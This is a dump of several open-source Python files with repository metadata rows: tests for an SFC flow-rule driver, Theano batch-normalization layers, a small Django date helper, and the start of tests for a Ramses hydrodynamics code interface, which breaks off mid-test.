self._test_delete_flow_rules_src_node_next_hops_del_fcs('mpls',
None, None)
def test_delete_flow_rules_src_node_next_hops_del_fcs_no_proxy(self):
self._test_delete_flow_rules_src_node_next_hops_del_fcs('mpls',
'mpls', None)
def test_delete_flow_rules_src_node_next_hops_del_fcs_nh(self):
self._test_delete_flow_rules_src_node_next_hops_del_fcs('mpls',
None, 'mpls')
def test_delete_flow_rules_src_node_next_hops_del_fcs_no_proxy_nh(self):
self._test_delete_flow_rules_src_node_next_hops_del_fcs('mpls',
'mpls', 'mpls')
def _prepare_delete_flow_rules_sf_node_next_hops_del_fcs(self,
pc_corr,
pp_corr,
pp_corr_nh):
self.port_mapping = {
'8768d2b3-746d-4868-ae0e-e81861c2b4e6': {
'port_name': 'port1',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'29e38fb2-a643-43b1-baa8-a86596461cd5': {
'port_name': 'port2',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.delete_flow_rule(
{
'nsi': 255,
'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6',
'next_hops': [{
'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7',
'network_type': 'vxlan',
'segment_id': 33,
'gw_mac': '00:01:02:03:06:09',
'cidr': '10.0.0.0/8',
'local_endpoint': '10.0.0.2',
'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6',
'weight': 1,
'in_mac_address': '12:34:56:78:cf:23',
'pp_corr': pp_corr_nh
}],
'add_fcs': [],
'group_refcnt': 1,
'node_type': 'sf_node',
'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5',
'next_group_id': 1,
'nsp': 256,
'del_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': '10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': 'IPv4',
'destination_port_range_max': 100,
}],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': pp_corr
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def _test_delete_flow_rules_sf_node_next_hops_del_fcs(self, pp_corr_nh):
self._prepare_delete_flow_rules_sf_node_next_hops_del_fcs('mpls',
None,
pp_corr_nh)
self.assertEqual(
[{
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff',
'strict': True,
}, {
'dl_dst': '12:34:56:78:cf:23',
'table': 5
}, {
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'mpls_label': 65792,
'table': 10
}],
self.deleted_flows
)
self.assertEqual(
[1],
self.deleted_groups
)
def test_delete_flow_rules_sf_node_next_hops_del_fcs(self):
self._test_delete_flow_rules_sf_node_next_hops_del_fcs(None)
def test_delete_flow_rules_sf_node_next_hops_del_fcs_nh(self):
self._test_delete_flow_rules_sf_node_next_hops_del_fcs('mpls')
def _test_delete_flow_rules_sf_node_next_hops_del_fcs_no_proxy(self,
pp_corr_nh):
self._prepare_delete_flow_rules_sf_node_next_hops_del_fcs('mpls',
'mpls',
pp_corr_nh)
self.assertEqual(
[{
'dl_type': 34887,
'mpls_label': 65791,
'in_port': 42,
'priority': 30,
'table': 0,
'strict': True,
}, {
'dl_dst': '12:34:56:78:cf:23',
'table': 5
}, {
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'mpls_label': 65792,
'table': 10
}],
self.deleted_flows
)
self.assertEqual(
[1],
self.deleted_groups
)
def test_delete_flow_rules_sf_node_next_hops_del_fcs_no_proxy(self):
self._test_delete_flow_rules_sf_node_next_hops_del_fcs_no_proxy(None)
def test_delete_flow_rules_sf_node_next_hops_del_fcs_no_proxy_nh(self):
self._test_delete_flow_rules_sf_node_next_hops_del_fcs_no_proxy('mpls')
def test_init_agent_empty_flowrules(self):
# in setUp we call _clear_local_entries() so whatever was done
# during initialize() is lost ; here, we really want to check the
# _clear_sfc_flow_on_int_br done at initialize
self.sfc_driver._clear_sfc_flow_on_int_br()
self.assertEqual(
[{
'actions': 'resubmit(,10)',
'eth_type': 34887,
'priority': 20,
'table': 0
}, {
'actions': 'drop',
'priority': 0,
'table': 10
}],
self.added_flows
)
self.assertEqual(
["all"],
self.deleted_groups
)
self.assertEqual({}, self.group_mapping)
| 35.309709 | 79 | 0.428061 | 8,489 | 86,191 | 4.005301 | 0.046649 | 0.030705 | 0.009411 | 0.027352 | 0.858563 | 0.828652 | 0.814123 | 0.795741 | 0.777712 | 0.774801 | 0 | 0.110016 | 0.45731 | 86,191 | 2,440 | 80 | 35.32418 | 0.616889 | 0.009769 | 0 | 0.729473 | 0 | 0 | 0.221132 | 0.073984 | 0 | 0 | 0.006586 | 0 | 0.038894 | 1 | 0.038462 | false | 0.001729 | 0.004322 | 0.003457 | 0.05013 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
02427b712269ee7601075423ef6fac0f8cb16334 | 14,793 | py | Python | VQA_Deep/layers/normalization.py | woojaekim/DeepVQA_Release | 6635e37821d6e1471fc9728bb6096dfded248241 | [
"MIT"
] | 41 | 2019-08-02T11:11:07.000Z | 2022-02-15T15:21:14.000Z | VQA_Deep/layers/normalization.py | woojaekim/DeepVQA_Release | 6635e37821d6e1471fc9728bb6096dfded248241 | [
"MIT"
] | 3 | 2020-03-03T01:19:11.000Z | 2021-03-06T15:00:12.000Z | VQA_Deep/layers/normalization.py | woojaekim/DeepVQA_Release | 6635e37821d6e1471fc9728bb6096dfded248241 | [
"MIT"
] | 8 | 2019-08-02T11:11:12.000Z | 2022-02-14T19:23:24.000Z | from __future__ import absolute_import, division, print_function
import numpy as np
import theano
import theano.tensor as T
from theano.tensor.nnet import bn
from .layers import Layer, linear
class BatchNormLayer(Layer):
"""
Batch normalization layer.
(theano.tensor.nnet.bn.batch_normalization_{train, test})
Parameters
----------
input_shape: int or a tuple of ints
Input feature dimension or (batch_size, input feature dimension)
activation: function
Activation function.
axes: {``'spatial'``, ``'per-activation'``}
epsilon: float
alpha: float
"""
layers = []
def __init__(self, input_shape, activation=linear, axis=1, axes='spatial',
epsilon=1e-4, alpha=0.1, name=None):
super(BatchNormLayer, self).__init__()
self.input_shape = input_shape
self.activation = activation
self.axis = axis
self.axes_org = axes
self.epsilon = epsilon
self.alpha = alpha
self.name = 'BN' if name is None else name
self.act_name = activation.__name__
self.deterministic = False
shape = [input_shape[self.axis]]
ndim = len(input_shape)
if axes == 'per-activation':
self.axes = (0,)
elif axes == 'spatial':
self.axes = (0,) + tuple(range(2, ndim))
self.non_bc_axes = tuple(i for i in range(ndim) if i not in self.axes)
self.gamma = theano.shared(np.ones(shape, dtype=theano.config.floatX),
name=name + '_G', borrow=True)
self.beta = theano.shared(np.zeros(shape, dtype=theano.config.floatX),
name=name + '_B', borrow=True)
self.mean = theano.shared(np.zeros(shape, dtype=theano.config.floatX),
name=name + '_mean', borrow=True)
self.var = theano.shared(np.ones(shape, dtype=theano.config.floatX),
name=name + '_var', borrow=True)
self.params = [self.gamma, self.beta]
self.statistics = [self.mean, self.var]
BatchNormLayer.layers.append(self)
# Show information
print(' # %s (BN) ' % (self.name), end='')
print('act.: %s,' % self.act_name)
def get_output(self, input, **kwargs):
# prepare dimshuffle pattern inserting broadcastable axes as needed
param_axes = iter(list(range(input.ndim - len(self.axes))))
pattern = ['x' if input_axis in self.axes
else next(param_axes)
for input_axis in range(input.ndim)]
# apply dimshuffle pattern to all parameters
beta = self.beta.dimshuffle(pattern)
gamma = self.gamma.dimshuffle(pattern)
mean = self.mean.dimshuffle(pattern)
var = self.var.dimshuffle(pattern)
if not self.deterministic:
normalized, _, _, mean_, var_ = bn.batch_normalization_train(
input, gamma, beta, self.axes_org,
self.epsilon, self.alpha, mean, var)
# Update running mean and variance
# Tricks adopted from Lasagne implementation
# http://lasagne.readthedocs.io/en/latest/modules/layers/normalization.html
running_mean = theano.clone(self.mean, share_inputs=False)
running_var = theano.clone(self.var, share_inputs=False)
running_mean.default_update = mean_.dimshuffle(self.non_bc_axes)
running_var.default_update = var_.dimshuffle(self.non_bc_axes)
self.mean += 0 * running_mean
self.var += 0 * running_var
else:
normalized = bn.batch_normalization_test(
input, gamma, beta, mean, var, self.axes_org, self.epsilon)
# normalized, _, _, _, _ = bn.batch_normalization_train(
# input, gamma, beta, self.axes_org, self.epsilon, 0, mean, var)
# normalized = (input - mean) * (gamma / T.sqrt(var)) + beta
return self.activation(normalized)
def get_out_shape(self):
return self.input_shape
def reset_stats(self):
# reset mean and var
self.mean.set_value(np.zeros(self.mean.get_value().shape,
dtype=theano.config.floatX))
self.var.set_value(np.ones(self.var.get_value().shape,
dtype=theano.config.floatX))
def get_stats(self):
return (self.mean, self.var)
@staticmethod
def set_batch_norms_training(training):
deterministic = False if training else True
print(' - Batch norm layres: deterministic =', deterministic)
for layer in BatchNormLayer.layers:
layer.deterministic = deterministic
layer.update_averages = not deterministic
@staticmethod
def reset_batch_norms_stats():
print(' - Batch norm layres: reset mean and var')
for layer in BatchNormLayer.layers:
layer.reset_stats()
class BatchNormLayer_old(Layer):
"""
Batch normalization layer
(theano.tensor.nnet.bn.batch_normalization)
"""
layers = []
def __init__(self, input_shape, activation=linear,
epsilon=1e-4, alpha=0.1, name=None):
super(BatchNormLayer, self).__init__()
if len(input_shape) == 2:
self.axes = (0,)
shape = [input_shape[0]]
elif len(input_shape) == 4:
self.axes = (0, 2, 3)
shape = [input_shape[1]]
else:
raise NotImplementedError
self.name = 'BN' if name is None else name
self.epsilon = epsilon
self.alpha = alpha
self.deterministic = False
self.update_averages = True
self.activation = activation
self.act_name = activation.__name__
self.input_shape = input_shape
self.gamma = theano.shared(np.ones(shape, dtype=theano.config.floatX),
name=name + '_G', borrow=True)
self.beta = theano.shared(np.zeros(shape, dtype=theano.config.floatX),
name=name + '_B', borrow=True)
self.mean = theano.shared(np.zeros(shape, dtype=theano.config.floatX),
name=name + '_mean', borrow=True)
self.std = theano.shared(np.ones(shape, dtype=theano.config.floatX),
name=name + '_std', borrow=True)
self.params = [self.gamma, self.beta]
self.statistics = [self.mean, self.std]
BatchNormLayer.layers.append(self)
# Show information
print(' # %s (BN_T) ' % (self.name), end='')
print('act.: %s,' % self.act_name)
def get_output(self, input, **kwargs):
input_mean = input.mean(self.axes)
input_std = T.sqrt(input.var(self.axes) + self.epsilon)
# Decide whether to use the stored averages or mini-batch statistics
use_averages = self.deterministic
if use_averages:
mean = self.mean
std = self.std
else:
mean = input_mean
std = input_std
# Decide whether to update the stored averages
update_averages = self.update_averages and not use_averages
if update_averages:
# Trick: To update the stored statistics, we create memory-aliased
# clones of the stored statistics:
running_mean = theano.clone(self.mean, share_inputs=False)
running_std = theano.clone(self.std, share_inputs=False)
# set a default update for them:
running_mean.default_update = ((1 - self.alpha) * running_mean +
self.alpha * input_mean)
running_std.default_update = ((1 - self.alpha) * running_std +
self.alpha * input_std)
# and make sure they end up in the graph without participating in
# the computation (this way their default_update will be collected
# and applied, but the computation will be optimized away):
mean += 0 * running_mean
std += 0 * running_std
# prepare dimshuffle pattern inserting broadcastable axes as needed
param_axes = iter(list(range(input.ndim - len(self.axes))))
pattern = ['x' if input_axis in self.axes
else next(param_axes)
for input_axis in range(input.ndim)]
# apply dimshuffle pattern to all parameters
beta = 0 if self.beta is None else self.beta.dimshuffle(pattern)
gamma = 1 if self.gamma is None else self.gamma.dimshuffle(pattern)
mean = mean.dimshuffle(pattern)
std = std.dimshuffle(pattern)
# normalize
normalized = bn.batch_normalization(input, gamma, beta, mean, std)
return self.activation(normalized)
def get_out_shape(self):
return self.input_shape
def reset_stats(self):
# reset mean and std
self.mean.set_value(np.zeros(self.mean.get_value().shape,
dtype=theano.config.floatX))
self.std.set_value(np.ones(self.std.get_value().shape,
dtype=theano.config.floatX))
def get_stats(self):
return (self.mean, self.std)
@staticmethod
def set_batch_norms_training(training):
deterministic = False if training else True
print(' - Batch norm layres: deterministic =', deterministic)
for layer in BatchNormLayer.layers:
layer.deterministic = deterministic
layer.update_averages = not deterministic
@staticmethod
def reset_batch_norms_stats():
print(' - Batch norm layres: reset mean and std')
for layer in BatchNormLayer.layers:
layer.reset_stats()
class BatchNormLayer_L(Layer):
"""
Batch normalization layer.
Core algorithm is brought from Lasagne.
http://lasagne.readthedocs.io/en/latest/modules/layers/normalization.html
"""
layers = []
def __init__(self, input_shape, activation=linear,
epsilon=1e-4, alpha=0.1, name=None):
super(BatchNormLayer, self).__init__()
if len(input_shape) == 2:
self.axes = (0,)
shape = [input_shape[0]]
elif len(input_shape) == 4:
self.axes = (0, 2, 3)
shape = [input_shape[1]]
else:
raise NotImplementedError
self.name = 'BN' if name is None else name
self.epsilon = epsilon
self.alpha = alpha
self.deterministic = False
self.update_averages = True
self.activation = activation
self.act_name = activation.__name__
self.input_shape = input_shape
self.gamma = theano.shared(np.ones(shape, dtype=theano.config.floatX),
name=name + '_G', borrow=True)
self.beta = theano.shared(np.zeros(shape, dtype=theano.config.floatX),
name=name + '_B', borrow=True)
self.mean = theano.shared(np.zeros(shape, dtype=theano.config.floatX),
name=name + '_mean', borrow=True)
self.invstd = theano.shared(np.ones(shape, dtype=theano.config.floatX),
name=name + '_invstd', borrow=True)
self.params = [self.gamma, self.beta]
self.statistics = [self.mean, self.invstd]
BatchNormLayer.layers.append(self)
# Show information
print(' # %s (BN_L) ' % (self.name), end='')
print('act.: %s,' % self.act_name)
def get_output(self, input, **kwargs):
input_mean = input.mean(self.axes)
input_invstd = T.inv(T.sqrt(input.var(self.axes) + self.epsilon))
# Decide whether to use the stored averages or mini-batch statistics
use_averages = self.deterministic
if use_averages:
mean = self.mean
invstd = self.invstd
else:
mean = input_mean
invstd = input_invstd
# Decide whether to update the stored averages
update_averages = self.update_averages and not use_averages
if update_averages:
# Trick: To update the stored statistics, we create memory-aliased
# clones of the stored statistics:
running_mean = theano.clone(self.mean, share_inputs=False)
running_invstd = theano.clone(self.invstd, share_inputs=False)
# set a default update for them:
running_mean.default_update = (
(1 - self.alpha) * running_mean + self.alpha * input_mean)
running_invstd.default_update = (
(1 - self.alpha) * running_invstd + self.alpha * input_invstd)
# and make sure they end up in the graph without participating in
# the computation (this way their default_update will be collected
# and applied, but the computation will be optimized away):
mean += 0 * running_mean
invstd += 0 * running_invstd
# prepare dimshuffle pattern inserting broadcastable axes as needed
param_axes = iter(list(range(input.ndim - len(self.axes))))
pattern = ['x' if input_axis in self.axes
else next(param_axes)
for input_axis in range(input.ndim)]
# apply dimshuffle pattern to all parameters
beta = 0 if self.beta is None else self.beta.dimshuffle(pattern)
gamma = 1 if self.gamma is None else self.gamma.dimshuffle(pattern)
mean = mean.dimshuffle(pattern)
invstd = invstd.dimshuffle(pattern)
# normalize
normalized = (input - mean) * (gamma * invstd) + beta
return self.activation(normalized)
def get_out_shape(self):
return self.input_shape
def reset_stats(self):
# reset mean and invstd
self.mean.set_value(np.zeros(self.mean.get_value().shape,
dtype=theano.config.floatX))
self.invstd.set_value(np.ones(self.invstd.get_value().shape,
dtype=theano.config.floatX))
def get_stats(self):
return (self.mean, self.invstd)
@staticmethod
def set_batch_norms_training(training):
deterministic = False if training else True
print(' - Batch norm layres: deterministic =', deterministic)
for layer in BatchNormLayer.layers:
layer.deterministic = deterministic
layer.update_averages = not deterministic
@staticmethod
def reset_batch_norms_stats():
print(' - Batch norm layres: reset mean and invstd')
for layer in BatchNormLayer.layers:
layer.reset_stats()
| 39.448 | 87 | 0.598391 | 1,730 | 14,793 | 4.976301 | 0.107514 | 0.026716 | 0.033453 | 0.045998 | 0.819375 | 0.798234 | 0.785109 | 0.781392 | 0.77117 | 0.752701 | 0 | 0.004572 | 0.305077 | 14,793 | 374 | 88 | 39.553476 | 0.832879 | 0.14784 | 0 | 0.700787 | 0 | 0 | 0.030466 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.082677 | false | 0 | 0.023622 | 0.023622 | 0.165354 | 0.051181 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
026dc0fa988e7859b2244a5bda398ef981633f5a | 69 | py | Python | Solutions/Training/Lesson_12/__init__.py | dev-11/codility-solutions | 01b0ce4a43b1390fe15f2daabea95e90b834fbfc | [
"MIT"
] | null | null | null | Solutions/Training/Lesson_12/__init__.py | dev-11/codility-solutions | 01b0ce4a43b1390fe15f2daabea95e90b834fbfc | [
"MIT"
] | null | null | null | Solutions/Training/Lesson_12/__init__.py | dev-11/codility-solutions | 01b0ce4a43b1390fe15f2daabea95e90b834fbfc | [
"MIT"
] | null | null | null | from .chocolates_by_numbers import solution as chocolates_by_numbers
| 34.5 | 68 | 0.898551 | 10 | 69 | 5.8 | 0.7 | 0.413793 | 0.655172 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086957 | 69 | 1 | 69 | 69 | 0.920635 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
027ba270fdd1eebdc7688fb3091af4e1d0b8b1e7 | 86 | py | Python | common/utils.py | Aleccc/gtcrew | 7e6e7024afdbf48ee796cb1f9a86b913e6843dda | [
"MIT"
] | null | null | null | common/utils.py | Aleccc/gtcrew | 7e6e7024afdbf48ee796cb1f9a86b913e6843dda | [
"MIT"
] | 21 | 2019-02-14T02:47:34.000Z | 2022-01-23T02:22:54.000Z | common/utils.py | Aleccc/gtcrew | 7e6e7024afdbf48ee796cb1f9a86b913e6843dda | [
"MIT"
] | null | null | null | from django.utils.timezone import now
def get_current_year():
return now().year
| 14.333333 | 37 | 0.744186 | 13 | 86 | 4.769231 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162791 | 86 | 5 | 38 | 17.2 | 0.861111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
027e56ee9c4c943fab34386f1069a2d04924c08e | 73,497 | py | Python | test/codes_tests/test_ramses.py | joshuawall/amuse | c2034074ee76c08057c4faa96c32044ab40952e9 | [
"Apache-2.0"
] | 1 | 2019-12-28T22:47:51.000Z | 2019-12-28T22:47:51.000Z | test/codes_tests/test_ramses.py | joshuawall/amuse | c2034074ee76c08057c4faa96c32044ab40952e9 | [
"Apache-2.0"
] | null | null | null | test/codes_tests/test_ramses.py | joshuawall/amuse | c2034074ee76c08057c4faa96c32044ab40952e9 | [
"Apache-2.0"
] | 2 | 2021-11-19T04:41:37.000Z | 2021-11-20T02:11:17.000Z | import os
import sys
import numpy
from amuse.test.amusetest import TestWithMPI
from amuse.community.ramses.interface import RamsesInterface
from amuse.community.ramses.interface import Ramses
from amuse.units import generic_unit_system
from amuse.units import generic_unit_converter
from amuse.units import units
from amuse import datamodel
class TestRamsesInterface(TestWithMPI):
def test0(self):
instance=RamsesInterface(redirection="none")
instance.set_input_directory(instance.get_default_input_directory())
instance.initialize_code()
instance.commit_parameters()
instance.stop()
def test1(self):
instance=RamsesInterface(mode="1d", redirection="none")
instance.set_input_directory(instance.get_default_input_directory())
self.assertEquals(0, instance.initialize_code())
self.assertEquals(0, instance.commit_parameters())
self.assertEquals(0, instance.setup_mesh(10, 1, 1, 1.0, 0.0, 0.0))
self.assertEquals(0, instance.initialize_grid())
nx, ny, nz, error = instance.get_mesh_size()
self.assertEquals(0, error)
self.assertEqual((nx, ny, nz), (10, 1, 1))
self.assertEquals(0, instance.evolve_model(0.1))
time, error = instance.get_time()
self.assertEquals(0, error)
self.assertAlmostEqual(time, 0.1, 2)
instance.stop()
def xtest1b(self):
instance=RamsesInterface()
instance.initialize_code()
instance.setup_mesh(50,40,30,1.,1.,1.)
nx,ny,nz, error = instance.get_mesh_size()
self.assertEquals(nx, 50)
self.assertEquals(ny, 40)
self.assertEquals(nz, 30)
instance.stop()
def xtest2(self):
instance=RamsesInterface()
instance.initialize_code()
instance.setup_mesh(50,50,50,1.,1.,1.)
instance.commit_parameters()
instance.set_grid_state(1,1,1,1.,0.1,0.1,0.1,1.)
rho, err=instance.get_grid_density(1,1,1)
self.assertEqual(rho,1.)
rhovx,rhovy,rhovz,err=instance.get_grid_momentum_density(1,1,1)
self.assertEqual(rhovx,0.1)
self.assertEqual(rhovy,0.1)
self.assertEqual(rhovz,0.1)
en,err=instance.get_grid_energy_density(1,1,1)
self.assertEqual(en,1.)
rho,rhovx,rhovy,rhovz,en,err=instance.get_grid_state(1,1,1)
self.assertEqual(rho,1.)
self.assertEqual(rhovx,0.1)
self.assertEqual(rhovy,0.1)
self.assertEqual(rhovz,0.1)
self.assertEqual(en,1.)
instance.stop()
def xtest3(self):
instance=RamsesInterface()
instance.initialize_code()
instance.setup_mesh(50,50,50,1.,1.,1.)
instance.commit_parameters()
x,y,z=numpy.indices( (50,50,50) )
x=x.flatten()+1
y=y.flatten()+1
z=z.flatten()+1
rho=0.25*numpy.ones_like(x)
rhvx=0.*numpy.ones_like(x)
rhvy=0.*numpy.ones_like(x)
rhvz=0.*numpy.ones_like(x)
en=2.*numpy.ones_like(x)
instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en)
rho,rhovx,rhovy,rhovz,en,err=instance.get_grid_state(1,1,1)
self.assertEqual(rho,0.25)
self.assertEqual(rhovx,0.)
self.assertEqual(rhovy,0.)
self.assertEqual(rhovz,0.)
self.assertEqual(en,2.)
instance.stop()
def xtest4(self):
instance=RamsesInterface()
instance.initialize_code()
instance.setup_mesh(50,50,50,1.,1.,1.)
instance.commit_parameters()
x,y,z=numpy.indices( (50,50,50) )
x=x.flatten()+1
y=y.flatten()+1
z=z.flatten()+1
rho=0.1*numpy.ones_like(x)
rhvx=0.*numpy.ones_like(x)
rhvy=0.*numpy.ones_like(x)
rhvz=0.*numpy.ones_like(x)
en=0.1*numpy.ones_like(x)
instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en)
instance.initialize_grid()
instance.stop()
def xtest5(self):
instance=RamsesInterface()
instance.initialize_code()
instance.setup_mesh(40,40,40,1.,1.,1.)
instance.commit_parameters()
x,y,z=numpy.indices( (40,40,40) )
x=x.flatten()+1
y=y.flatten()+1
z=z.flatten()+1
rho=0.1*numpy.ones_like(x)
rhvx=0.*numpy.ones_like(x)
rhvy=0.*numpy.ones_like(x)
rhvz=0.*numpy.ones_like(x)
en=0.1*numpy.ones_like(x)
instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en)
instance.initialize_grid()
instance.evolve_model(0.01)
tnow,err=instance.get_time()
self.assertAlmostEqual(tnow,0.01,15)
instance.evolve_model(0.025)
tnow,err=instance.get_time()
self.assertAlmostEqual(tnow,0.025,15)
instance.evolve_model(0.025001)
tnow,err=instance.get_time()
self.assertAlmostEqual(tnow,0.025001,15)
instance.evolve_model(0.0321)
tnow,err=instance.get_time()
self.assertAlmostEqual(tnow,0.0321,15)
instance.evolve_model(0.0321)
tnow,err=instance.get_time()
self.assertAlmostEqual(tnow,0.0321,15)
instance.evolve_model(0.07)
tnow,err=instance.get_time()
self.assertAlmostEqual(tnow,0.07,15)
instance.stop()
def xtest6(self):
instance=RamsesInterface(number_of_workers=1)
instance.initialize_code()
instance.setup_mesh(150,10,30,1.,1.,1.)
instance.commit_parameters()
x,y,z=numpy.indices( (150,10,30) )
x=x.flatten()+1
y=y.flatten()+1
z=z.flatten()+1
rho=0.1*numpy.ones_like(x)
rhvx=0.*numpy.ones_like(x)
rhvy=0.*numpy.ones_like(x)
rhvz=0.*numpy.ones_like(x)
en=0.1*numpy.ones_like(x)
instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en)
instance.initialize_grid()
instance.evolve_model(0.01)
x,y,z,err=instance.get_position_of_index(15,5,20)
self.assertAlmostEqual(x,15/150.-1/300.,15)
self.assertAlmostEqual(y,5/10.-1/20.,15)
self.assertAlmostEqual(z,20/30.-1/60.,15)
i,j,k,err=instance.get_index_of_position(x,y,z)
self.assertEqual([i,j,k],[15,5,20])
instance.stop()
def xtest7(self):
instance=RamsesInterface()
instance.initialize_code()
instance.setup_mesh(50,50,50,1.,1.,1.)
instance.commit_parameters()
err=instance.set_gravity_field(1,2,3,1.,0.5,0.25)
self.assertEqual(err,0)
fx,fy,fz,err=instance.get_gravity_field(1,2,3)
self.assertEqual(fx,1.)
self.assertEqual(fy,0.5)
self.assertEqual(fz,0.25)
instance.stop()
def xtest8(self):
instance=RamsesInterface()
instance.initialize_code()
err=instance.set_boundary("periodic","reflective",
"periodic","reflective",
"periodic","reflective")
self.assertEqual(err,-1)
instance.stop()
instance=RamsesInterface()
instance.initialize_code()
err=instance.set_boundary("reflective","periodic",
"periodic","reflective",
"periodic","reflective")
self.assertEqual(err,-2)
instance.stop()
instance=RamsesInterface()
instance.initialize_code()
err=instance.set_boundary("periodic","periodic",
"periodic","periodic",
"periodic","periodic")
self.assertEqual(err,0)
instance.stop()
def xtest9(self):
instance=RamsesInterface(number_of_workers=2)
instance.initialize_code()
instance.setup_mesh(50,50,50,1.,1.,1.)
instance.commit_parameters()
instance.set_grid_state(1,1,1,1.,0.1,0.1,0.1,1.)
instance.set_grid_state(50,50,50,2.,0.2,0.2,0.2,2.)
rho, err=instance.get_grid_density(1,1,1)
self.assertEqual(rho,1.)
rhovx,rhovy,rhovz,err=instance.get_grid_momentum_density(1,1,1)
self.assertEqual(rhovx,0.1)
self.assertEqual(rhovy,0.1)
self.assertEqual(rhovz,0.1)
en,err=instance.get_grid_energy_density(1,1,1)
self.assertEqual(en,1.)
rho,rhovx,rhovy,rhovz,en,err=instance.get_grid_state(1,1,1)
self.assertEqual(rho,1.)
self.assertEqual(rhovx,0.1)
self.assertEqual(rhovy,0.1)
self.assertEqual(rhovz,0.1)
self.assertEqual(en,1.)
rho, err=instance.get_grid_density(50,50,50)
self.assertEqual(err,0)
self.assertEqual(rho,2.)
rhovx,rhovy,rhovz,err=instance.get_grid_momentum_density(50,50,50)
self.assertEqual(rhovx,0.2)
self.assertEqual(rhovy,0.2)
self.assertEqual(rhovz,0.2)
en,err=instance.get_grid_energy_density(50,50,50)
self.assertEqual(en,2.)
rho,rhovx,rhovy,rhovz,en,err=instance.get_grid_state(50,50,50)
self.assertEqual(rho,2.)
self.assertEqual(rhovx,0.2)
self.assertEqual(rhovy,0.2)
self.assertEqual(rhovz,0.2)
self.assertEqual(en,2.)
instance.stop()
def xtest10(self):
instance=self.new_instance(RamsesInterface)
instance.initialize_code()
instance.setup_mesh(100,5,5,100.0,0,0)
instance.set_boundary("interface","periodic","periodic","periodic","periodic","periodic")
instance.commit_parameters()
minx, maxx, miny, maxy, minz, maxz, error = instance.get_boundary_index_range_inclusive(1)
self.assertEquals(error, 0)
self.assertEquals(minx, 1)
self.assertEquals(maxx, 2)
self.assertEquals(miny, 1)
self.assertEquals(maxy, 5)
self.assertEquals(minz, 1)
self.assertEquals(maxz, 5)
for i in range(2,7):
minx, maxx, miny, maxy, minz, maxz, error = instance.get_boundary_index_range_inclusive(i)
self.assertEquals(error, 0)
self.assertEquals(minx, 1)
self.assertEquals(maxx, 1)
self.assertEquals(miny, 1)
self.assertEquals(maxy, 1)
self.assertEquals(minz, 1)
self.assertEquals(maxz, 1)
def xtest11(self):
instance=self.new_instance(RamsesInterface)
instance.initialize_code()
instance.setup_mesh(100,5,6,100.0,0,0)
instance.set_boundary("interface","interface","interface","interface","interface","interface")
instance.commit_parameters()
for i in range(1,7):
minx, maxx, miny, maxy, minz, maxz, error = instance.get_boundary_index_range_inclusive(i)
self.assertEquals(error, 0),
self.assertEquals(minx, 1)
self.assertEquals(miny, 1)
self.assertEquals(minz, 1)
if i == 1 or i == 2:
self.assertEquals(maxx, 2)
self.assertEquals(maxy, 5)
self.assertEquals(maxz, 6)
elif i == 3 or i == 4:
self.assertEquals(maxx, 100+4)
self.assertEquals(maxy, 2)
self.assertEquals(maxz, 6)
elif i == 5 or i == 6:
self.assertEquals(maxx, 100+4)
self.assertEquals(maxy, 5+4)
self.assertEquals(maxz, 2)
def xtest12(self):
instance=self.new_instance(RamsesInterface)
instance.initialize_code()
instance.setup_mesh(100,2,2,100.0,100.0,100.0)
instance.set_boundary("interface","periodic","periodic","periodic","periodic","periodic")
instance.commit_parameters()
for i in [1,2]:
